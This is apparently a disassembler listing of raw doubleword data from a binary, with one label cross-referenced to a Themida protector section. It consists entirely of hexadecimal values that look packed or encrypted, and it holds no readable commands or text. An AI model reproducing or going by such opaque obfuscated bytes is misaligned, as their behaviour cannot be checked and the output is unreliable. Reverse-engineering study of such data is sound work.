		dd 0F010629h, 9985h, 0E58D8900h, 6A06292Ah, 5E902h, 2ABA0000h
		dd 9093C264h, 0F50DF8Bh, 1989h,	14E900h, 5FA60000h, 24A71294h
		dd 0C2E97E91h, 9DAA44A6h, 0DECE9DB0h, 6A904FD2h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 7364C353h, 3FDBAFDAh, 0C99D8D4Fh, 0E3D9D8Bh,	6E90629h
		dd 46000000h, 31773376h, 3195FFD2h, 6A062930h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0AEE9C355h, 898F38A6h, 292DE5B5h, 1BE9F506h,	0E800000Dh
		dd 0
		dd 4ED815Dh, 0BB062D5Ch, 3590372Bh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 64C35747h, 38F48059h, 8D6FBFDDh
		dd 2C91B085h, 0FE8B6606h, 8E890h, 0AC030000h, 2063F439h
		dd 0BF66ED3Bh, 505F2E5Eh, 91B5BB66h, 0CB816690h, 0FF64F72Ch
		dd 35h,	0BD895300h, 6291AD1h, 2589645Fh, 0
		dd 749BD89h, 85FF0629h,	6292A15h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 6CC35545h, 66E4403Ah, 0FF6AD98Bh
		dd 0D8A0Fh, 8E90000h, 73000000h, 4FC9308Bh, 0FFF02D77h
		dd 293545B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0C9C9A2AFh, 5711D1A6h, 137DBD89h
		dd 95FF0629h, 6292755h,	12AE9h,	0B9BD8B00h, 0B0062925h
		dd 13E900h, 0AB180000h,	6408C90h, 0D0D7C928h, 0FED01C63h
		dd 2996DBE8h, 6070E6A0h, 0EE8h,	2319B000h, 41BEA01Eh, 9D328EF1h
		dd 0F8FF84C8h, 0EE95Ah,	0EB970000h, 0EB7E837Eh,	0BAE7F977h
		dd 17F67467h, 8B71E461h, 2905659Dh, 0F613C06h, 0CE83h
		dd 0C8B60F00h, 8A99529h, 6BA0629h, 89000000h, 2928399Dh
		dd 0FC18B06h, 8Bh, 4E8C100h, 7E8h, 0C4A92300h, 3CBBCA21h
		dd 5BFEB70Fh, 0B3E2F766h, 89C82B13h, 290ECDB5h,	33D18B06h
		dd 292C39BDh, 2E906h, 0FE8B0000h, 33E1858Bh, 890F0629h
		dd 2, 0C083F88Bh, 81665607h, 5FEE56D3h,	83FEBF0Fh, 9D8B00C0h
		dd 6292A5Dh, 830FD03Bh,	11h, 5B9BD89h, 4CE90629h, 8B000000h
		dd 292B71BDh, 798D8B06h, 9062912h, 292FB195h, 1E18306h
		dd 31840Fh, 0A5830000h,	6291279h, 0E78166FEh, 95898101h
		dd 62933E1h, 0CE960FCh,	0E000000h, 0B4B7E8BAh, 0D0003E3Eh
		dd 89E1B352h, 2925999Dh, 0E96106h, 8D000000h, 2CE083B5h
		dd 0CB816606h, 6A663Dh,	59195FFh, 6A0629h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 135B02C3h
		dd 82B24F5Eh, 8155CCFAh, 967018CBh, 0D9B5294Ah,	0B906291Fh
		dd 0F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0CEC35545h, 0CCE2736Ch,	8B6660DDh, 59EA80F7h, 0FCE18361h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1FC35747h
		dd 9EF21B4Ah, 58C49AB7h, 0F8ED781h, 6AFC2515h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0DF61C356h, 0DEBD25B7h, 90BF6607h, 0F9C02BC8h, 6AD22Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0B7243DC3h, 0E082D050h, 0E928879Ah, 0Eh, 0EDF2B8E1h
		dd 5EE64707h, 5BC109A4h, 33AD4428h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 6660FBC3h, 23CBCB81h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 89C35242h, 892A4934h, 2907858Dh
		dd 880D06h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0CD1F7DC3h, 32128186h, 6D958B39h
		dd 6A06291Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0C37EC356h, 2049BD8Bh,	8D8B0629h
		dd 6292D81h, 1AF18D89h,	8B500629h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0A5C35646h, 1ED79705h, 0A485B9CCh, 45BD8BAEh
		dd 6A062926h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0D7A4C350h, 0FE752945h, 0E91F40BBh
		dd 9, 0C5EC7629h, 79B36AC2h, 0DD8D897Ah, 83062904h, 291331BDh
		dd 840F0006h, 42h, 5D99D8Bh, 0B8F90629h, 0
		dd 55DB8166h, 2DBD8B6Ch, 8D062906h, 294D6B8Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 2BBF6684h, 0FE1FFA7h, 0BD83FFBFh, 6292005h, 0F5840F00h
		dd 0F000003h, 688h, 69852900h, 8306290Ch, 292005BDh, 840F0106h
		dd 3F7h, 12559589h, 0BD830629h,	6292005h, 0AE860F03h, 0B3000003h
		dd 6A601Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0D4A4FBC3h, 0F3F46F8h, 68Fh, 299D8900h, 6606290Fh
		dd 0B70FD98Ch, 4E180FEh, 14E9h,	8377300h, 6B20B14h, 75F0340Ah
		dd 13FBF88Fh, 355DC9FEh, 0FC90AE1h, 0A384h, 31B58900h
		dd 8B06291Eh, 29188585h, 0ED853306h, 6606290Dh,	909B27BBh
		dd 0CE8h, 0AB070100h, 0F86E0861h, 115ABAD0h, 6652502Ah
		dd 0F601CBFh, 810F31h, 5A000000h, 0E9505B58h, 11h, 0E085BD42h
		dd 8730A947h, 0B83829DEh, 0DE13DB93h, 0D88A909Dh, 0BD8B006Ah
		dd 6292959h, 81FDDE68h,	24348174h, 749EFE21h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B0C35141h, 5A5DCC62h
		dd 81661CBAh, 0FF1887EBh, 29004D95h, 96858906h,	66062CC0h
		dd 0E9C3A7BFh, 251h, 0C08E858Bh, 6A062Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 373079C3h
		dd 0FB8B663Fh, 1E8DF3BFh, 1800C73Ah, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0E9B3C357h, 8727622Dh, 9D89F52Fh, 62933DDh, 0C092B58Bh
		dd 6A062Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 64E0C3h, 858B1E86h, 6292BC9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2EC35040h, 5CA8F193h
		dd 899E604Fh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 66608A4Bh, 0F1170B8h, 685h, 29953100h
		dd 6106290Fh, 1885858Bh, 6A0629h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 641522C3h, 4A7B3FE7h
		dd 6A044689h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 41E5C357h, 9B916B4Eh, 5BC8AAE1h
		dd 57FE8B66h, 14E8h, 59436700h,	10C311A5h, 31F88585h, 90CC474Dh
		dd 0AAC28527h, 0FE92Bh,	96F30000h, 267C6CB1h, 3CAC58F8h
		dd 88DAF21Fh, 505B5B70h, 5810F60h, 0BA000000h, 17359BBBh
		dd 24348961h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	42C35242h, 0FFAB336Ah, 2CC08EB5h, 6E806h, 40650000h
		dd 0C32A9319h, 2E099529h, 685B0629h, 0F53836C3h, 13E8h
		dd 29F31300h, 47BD643Bh, 1772737Ch, 0E3B0A35Dh,	0B8172772h
		dd 2404815Fh, 0AE6CD3Ch, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 1DC35343h, 7BE38070h,	71D0DB81h, 858D7D95h
		dd 62CC096h, 0CE8h, 3FB9B600h, 0EDFA21Dh, 9563D742h, 11BD8B6Ch
		dd 5F062930h, 6E8h, 8D367000h, 0F09B89Eh, 184h,	905FF500h
		dd 8E8h, 55441700h, 202857BFh, 6E996h, 7CB0000h, 0A79EE285h
		dd 8B66505Bh, 858990F8h, 6293119h, 4D95FFh, 8B660629h
		dd 9D8B61F9h, 62932A5h,	200585C7h, 30629h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 3A94A7C3h, 0E61EB1D8h, 83FCA537h, 2CC096BDh,	840F0006h
		dd 1Dh,	0CE8h, 0B6081900h, 3C1361A4h, 8A89EDB4h, 21E95B7Ch
		dd 1000000h, 291811B5h,	0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 1E918589h, 0BD830629h, 6292005h
		dd 0C1850F03h, 66000003h, 83395BBBh, 2CC096BDh,	840F0006h
		dd 3B0h, 0E9CF8166h, 96B5FF9Dh,	6A062CC0h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0E780C355h
		dd 6694BDCBh, 2499E781h, 1099BD2Bh, 95FF0629h, 6290E79h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0D3C35343h
		dd 8AB58B54h, 0E9062CC0h, 0Bh, 4694A05h, 6F21A31Ch, 0C771D720h
		dd 1000106h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 2BF2B6AEh, 8CBF6696h, 14E9501Ch
		dd 2D000000h, 0BA646298h, 7DA318C6h, 0B6D26F43h, 8849124Eh
		dd 96448599h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	53C35646h, 864DB613h, 5F7C001h,	0F19D3321h, 6606291Ah
		dd 0FF6AB0BFh, 2CC096B5h, 799D8B06h, 0FF062907h, 29072195h
		dd 0CE906h, 0A3540000h,	57EFB7D9h, 47864D8h, 0B58B40FDh
		dd 62CC08Ah, 2F919589h,	95890629h, 62929ADh, 2479858Bh
		dd 6A0629h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0D977CBC3h, 0EC9182D3h, 8689F52Eh, 0C4h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F9C35747h
		dd 897B63FDh, 292341BDh, 6D958B06h, 8106291Eh, 69356BE7h
		dd 0AD85895Ch, 83062908h, 6A04C2h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 47B589C3h, 9E9E0A4h
		dd 38000000h, 0FB8C79CDh, 9F820977h, 66205089h,	84E6C381h
		dd 0D465858Dh, 6A062Ch,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 791BA7C3h, 6DBD8BD2h, 8906292Ch
		dd 0B886h, 6AF500h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 94C35242h, 28ADF5D7h,	1C6F536h, 5850F51h
		dd 66000000h, 4B99EF81h, 96B5FF5Fh, 0E8062CC0h,	0Fh, 1FBB8B4Ch
		dd 2FB26A7Bh, 40B8EF92h, 66329672h, 5FD654BFh, 303195FFh
		dd 0BDBB0629h, 96245DCBh, 0ACFABF66h, 5800F50h,	0BB000000h
		dd 46D7271Bh, 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 999D8BCCh, 0FF062933h, 2CC096B5h
		dd 68A0F06h, 8B000000h,	2932E1BDh, 9595FF06h, 6A06292Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 6C70C350h, 0CBDAC72Dh, 0C3ACD781h, 0BD836F06h
		dd 62911A9h, 15840F00h,	0E9000000h, 6, 0C768901h, 8950BDDCh
		dd 9D0B2434h, 6292C75h,	0C096B5FFh, 0DF80062Ch,	3595FF17h
		dd 6A06292Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0BBADC353h, 31609C8Ah,	0C096B5FFh
		dd 6A062Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 1C5A47C3h, 0BF9E8439h, 19BCC680h,	36EB8166h
		dd 595FFFDh, 8B062906h,	292EC9BDh, 0BDBD8306h, 206290Ah
		dd 4C840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 180424h
		dd 53430000h, 8C72A6C3h, 858B662Ah, 6291829h, 0C6DA8B66h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 8055FDC3h, 85C728E7h, 629065Dh, 0
		dd 2064BF66h, 0FFF3FDE9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0A4E9C8E8h
		dd 63188692h, 58D0Fh, 0AABF0000h, 313AC776h, 292BD1B5h
		dd 6AC18B06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0A656C355h, 3890Fh, 0BF0F0000h
		dd 0EE9FFh, 3260000h, 0B93A57B1h, 0D87023ABh, 0B38E267h
		dd 48F0Fh, 0BB660000h, 858DB137h, 6291425h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 3FC35343h, 66905978h
		dd 0E850FA8Bh, 5, 3067C673h, 0E9525015h, 0Dh, 6533CC58h
		dd 7EAA07CAh, 0F20ECF4Ch, 0E9310F53h, 0Ah, 57347FABh, 0D1A9B647h
		dd 585A38D2h, 8589905Bh, 6290009h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 538D7DC3h
		dd 0B753F21h, 290FFDBDh, 8D006A06h, 2D6AD485h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0AE7803Fh, 6A05C083h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 8D85C356h, 9D8BF56Bh
		dd 6291A8Dh, 7DBB6650h,	24048947h, 29006AF8h, 2925C185h
		dd 0BB006A06h, 7791A781h, 8D3BBB66h, 0CED95FFh,	89530629h
		dd 291B7595h, 8D8D5B06h, 62C9808h, 11E9D1FFh, 8000000h
		dd 8438843h, 0EA4E5EB0h, 0D3119566h, 0C71A391Ah, 1A29BD83h
		dd 0F010629h, 8B85h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 192A0110h, 0BE8h, 68242000h
		dd 3E84D9BEh, 0DC27E18Eh, 6CD0EF81h, 6A5B54C0h,	6653F502h
		dd 505BF88Bh, 0E85FB360h, 5, 0D9A8E426h, 89615E7Eh, 0BF662404h
		dd 95FFBC04h, 6293031h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0B3C35747h, 3C326768h, 0E9FB06A5h, 8
		dd 12E08A65h, 76053A1Bh, 0E28E9h, 0E800h, 815D0000h, 2D6ADEEDh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0EAD3E1C2h, 6AF381C9h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0DEA3C353h
		dd 29DD2A6Dh, 8B0FD3FDh, 6, 2539B589h, 8E0F0629h, 6, 0B4BB6650h
		dd 858D5B58h, 62C91B0h,	0EE8h, 0FE06AE00h, 7AC95546h, 27C1DD12h
		dd 306537Ch, 291795BDh,	60905B06h, 310F5250h, 585ACE8Bh
		dd 0BB665061h, 6A90FED0h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 9F76C350h, 158139Dh
		dd 35FF64A2h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0FCC35646h
		dd 89642DEBh, 25h, 0F8BF0F00h, 2A1585FFh, 6A0629h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8951A6C3h, 2932459Dh, 89FF6A06h, 2924419Dh, 0DDB5FF06h
		dd 0FC062919h, 275595FFh, 6E90629h, 0E9000001h,	14h, 8C8EC367h
		dd 41E4C5E6h, 0A992995Fh, 9C5013D5h, 644A4E7Eh,	0AD8D8950h
		dd 5B06290Dh, 958900B0h, 6290AD5h, 0BF6670E6h, 8166AFB7h
		dd 0E491F2E7h, 899D8B71h, 3C06292Ch, 0C2830F61h, 89000000h
		dd 2918B9BDh, 0C8B60F06h, 0AE9h, 5F5A7000h, 32FAD0B8h
		dd 0BA585B51h, 6, 26819D23h, 0C18B0629h, 0CC10BF66h, 0B304E8C1h
		dd 0E2F766EEh, 2BFB8B66h, 418D89C8h, 8B06291Fh,	0D9B70FD1h
		dd 19E9h, 14E900h, 0F6AA0000h, 0EEEC51BDh, 7B2BAFAAh, 0D7CB71D6h
		dd 743C5372h, 858B5B75h, 6291DE1h, 0F07C083h, 68Eh, 6DBD2900h
		dd 83062900h, 8D3100C0h, 62910F1h, 830FD03Bh, 0Dh, 12C38166h
		dd 33E98Fh, 0B70F0000h,	698D8BF8h, 83062913h, 840F01E1h
		dd 21h,	69A583F5h, 0FE062913h, 0AD55BF66h, 1DE19589h, 5E90629h
		dd 21000000h, 0A94A45EEh, 0E9h,	56B58D00h, 0E9062CF1h
		dd 11h,	0FEDDF10Eh, 0A27EA853h,	7EC9F1C2h, 0A8EB59D1h
		dd 6A006A46h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 1192C350h, 34EDBD8Bh, 0BB660629h
		dd 95FFA961h, 6290591h,	73D9D01h, 0CAB90629h, 6A000007h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0A5B7C352h, 988F15EFh, 95897254h,	6292765h
		dd 83D98B66h, 870FFCE1h, 5, 218242BBh, 0BF0F571Ah, 6AFC5FFEh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 8287C350h, 0E93AB33Dh, 8,	0CB12B0ECh, 0CA4C0B3Eh
		dd 89C02BFCh, 2910998Dh, 6AD22B06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0F0A6C355h
		dd 0B3BF6697h, 0C233AD87h, 0D003E8D1h, 7504E983h, 53006AF4h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 9D8D0171h, 0D06290Eh, 88h, 19820Fh, 10E80000h, 8C000000h
		dd 1A27FFBDh, 12863CE5h, 2B5DCF71h, 80592911h, 0BF5FEACFh
		dd 13E7306Ah, 1E6D958Bh, 6A0629h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 7BC774C3h, 0BD8B0F72h
		dd 629092Dh, 2D818D8Bh,	29600629h, 2918259Dh, 0F6816606h
		dd 50614B79h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 3A6F5B7Eh, 840EC961h, 6ADE8B66h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 3696C353h, 85B589DBh, 83062905h, 291331BDh, 840F0006h
		dd 43h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h
		dd 30C35343h, 0B7700883h, 55BD8BCCh, 89062909h,	2908C19Dh
		dd 0B806h, 0F88B0000h, 4D6B8D8Dh, 0D88B0629h, 8166E1FFh
		dd 8382F7E7h, 292005BDh, 840F0006h, 510h, 15D19D8Bh, 0BD830629h
		dd 6292005h, 18840F01h,	89000005h, 292DD18Dh, 98C0F06h
		dd 0F000000h, 38Eh, 0ADF78000h,	2005BD83h, 0F030629h, 4C086h
		dd 6E900h, 0C1730000h, 40D5C41Dh, 52006A60h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0A1999C21h
		dd 0DABF0FD7h, 29E19589h, 8C660629h, 51006AD9h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 1DA9EA33h
		dd 0A5C5E17Ch, 0DD8AF3F5h, 0E1952957h, 5F062931h, 6A04E180h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 7B0C350h,	8830Fh,	0F560000h, 84h,	85015B00h
		dd 6290921h, 840FC90Ah,	1C0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0D2C35545h,	38A3E56Bh, 0C381C462h
		dd 558D9DC2h, 7E8h, 31FDE700h, 0EC486ED8h, 85858B5Bh, 60062918h
		dd 60F2BF0Fh, 6160D08Bh, 85336161h, 6290DEDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A1C35545h, 821C9553h
		dd 0B4624834h, 14E890BBh
dword_58EA68	dd 1A000000h, 71EE552Dh, 3B3FA7F3h, 54C64E22h, 3F4746D0h
					; DATA XREF: Themida_:0055DB16o
		dd 0E882511Bh, 14h, 0E3F4B9FDh,	19897A56h, 8B6E6DDAh, 1456956Dh
		dd 104B1BC9h, 310F5250h, 5F5B585Ah, 6A9050h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 50DF72C3h
		dd 8E9h, 97C06100h, 76CA2AE8h, 6A5BCFh,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 62C35343h, 0F1A610Dh
		dd 181h, 0EE9F900h, 0DF000000h,	7D7271BFh, 5C69F25Ch, 8B80163Eh
		dd 4E8EFh, 3FF0000h, 0AE8001Fh,	0F8000000h, 4AD3C151h
		dd 966EBE77h, 0F88B66C6h, 0BB66505Bh, 448B1E5Ch, 0B5600424h
		dd 0BA05B8ADh, 8B61640Eh, 0DF8B6600h, 4244489h,	4D95FF58h
		dd 6A062900h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8B64C352h, 290A7DBDh, 96858906h
		dd 0F062CC0h, 0A8Ah, 5E900h, 32A50000h,	0E970C662h, 7
		dd 0C913DCFAh, 0E9214C18h, 1BAh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 17h, 64C35545h, 662369A3h, 9D85D781h
		dd 0C08E858Bh, 6A062Ch,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 8152DEC3h, 6D9D8B60h, 0FC062909h
		dd 1800C761h, 66000000h, 0B58BF88Bh, 62CC092h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0E0C35747h, 0C9858B6Fh
		dd 6A06292Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 5D45C355h, 0AAE50099h,	0D51C96D4h
		dd 698D0156h, 5B062934h, 8F0F0689h, 11h, 8E8h, 56392E00h
		dd 53E2F800h, 0D0E7802Ch, 85858B5Bh, 89062918h,	29210DB5h
		dd 4468906h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	63C35646h, 0EE13EBBAh, 0E479C381h, 0ACBB2CD2h
		dd 50362FB2h, 3489FB8Bh, 8EB5FF24h, 66062CC0h, 0C244E781h
		dd 4E8h, 1F03FF00h, 10E800h, 0FFE30000h, 2624E6CDh, 92444E10h
		dd 4ECE8D66h, 800F659Ah, 2, 505B6160h, 3C28C2BBh, 24448B01h
		dd 0FB8B6604h, 7E8008Bh, 4E000000h, 73D7D2B6h, 0D98B0C7Fh
		dd 2444895Fh, 0F98B6604h, 6E858h, 0EAA90000h, 0FA049F27h
		dd 8D5BD88Bh, 2CC09685h, 0CD9D8B06h, 50062929h,	13E8h
		dd 7D4FAF00h, 46FF1657h, 0E1D3304h, 68DCE990h, 15749C26h
		dd 61605250h, 585A310Fh, 2404895Bh, 4D95FFh, 0FE90629h
		dd 99000000h, 322EAA17h, 472AEFDh, 8C6525AFh, 0E961BA87h
		dd 14h,	4DCBD7FAh, 203DB149h, 77EE0355h, 924BCD82h, 260AC873h
		dd 200585C7h, 30629h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0C8E326C3h, 0BB9AA01Ah
		dd 6FD4285Eh, 0DE8h, 76B82500h,	409F43EDh, 353EED13h, 14E9D804h
		dd 0EA000000h, 0B6AFBF1Dh, 0B4F73941h, 600E4FEh, 301E73E8h
		dd 5F134C62h, 0C096BD83h, 0F00062Ch, 4484h, 0E98D8900h
		dd 0E9062906h, 54h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0C8C35141h, 0D9C003E7h, 0F21421A6h, 0AE8h
		dd 13CF0700h, 9647F772h, 0BB0D2AFDh, 1ABD7595h,	0C30505Bh
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	14299D89h
		dd 8B660629h, 56006ADEh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 6870FA2h,	89000000h, 29061D9Dh, 5BD8306h
		dd 3062920h, 3CD850Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 13FA13C3h, 65CBCFCFh
		dd 0FD9AE12h, 1487h, 0E890F00h,	0E9000000h, 9, 81FB16BBh
		dd 0EE814A2Dh, 96BD83E5h, 62CC0h, 381840Fh, 8E0F0000h
		dd 2, 0B5FFF98Bh, 62CC096h, 1F39BD8Bh, 95FF0629h, 6290E79h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 3BC35545h
		dd 475D5329h, 2DAF3C5Ch, 0C08AB58Bh, 8509062Ch,	6292059h
		dd 106C7h, 8B660001h, 850F50F8h, 3, 89D88B66h, 6A2434h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0E1B071C3h, 0AE021431h, 96B5FF49h, 6A062CC0h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 74E6C351h, 8589DE67h, 9D8BEFF4h, 62900F5h, 72195FFh
		dd 810F0629h, 5, 882563BBh, 0B58BF83Dh,	62CC08Ah, 19B86660h
		dd 8B61F5AAh, 29247985h, 0C4868906h, 8B000000h,	291E6D95h
		dd 4C28306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	73C35545h, 76193DA0h, 0BB66B51Ch, 50896284h, 51006A20h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0AFACB985h, 8DD3CB5Dh, 2CD46585h, 859D8B06h,	8906290Dh
		dd 0B886h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 6A49FDh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0E6C35242h,	0B5FF8EB5h, 62CC096h
		dd 9E8h, 50C79300h, 94679A40h, 81663F7Ah, 5FA6CAEFh, 303195FFh
		dd 6A0629h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 6C3F42C3h, 81660F12h, 50495DF3h, 0CE9h, 0A20C5C00h
		dd 71DF4B38h, 0B5673192h, 243489D5h, 2DB99D29h,	0B5FF0629h
		dd 62CC096h, 0C9BB6657h, 95FF5B5Fh, 6292F95h, 5880Fh, 81660000h
		dd 83EADDDBh, 2911A9BDh, 840F0006h, 53h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 0B1C35242h, 3C903B05h
		dd 0B5AB483h, 0BB665048h, 348944C6h, 56006A24h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0B70F74CDh
		dd 7D9D8BFFh, 0FF062905h, 2CC096B5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 234051C9h
		dd 291F0DBDh, 3595FF06h, 8906292Dh, 290845B5h, 96B5FF06h
		dd 6A062CC0h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
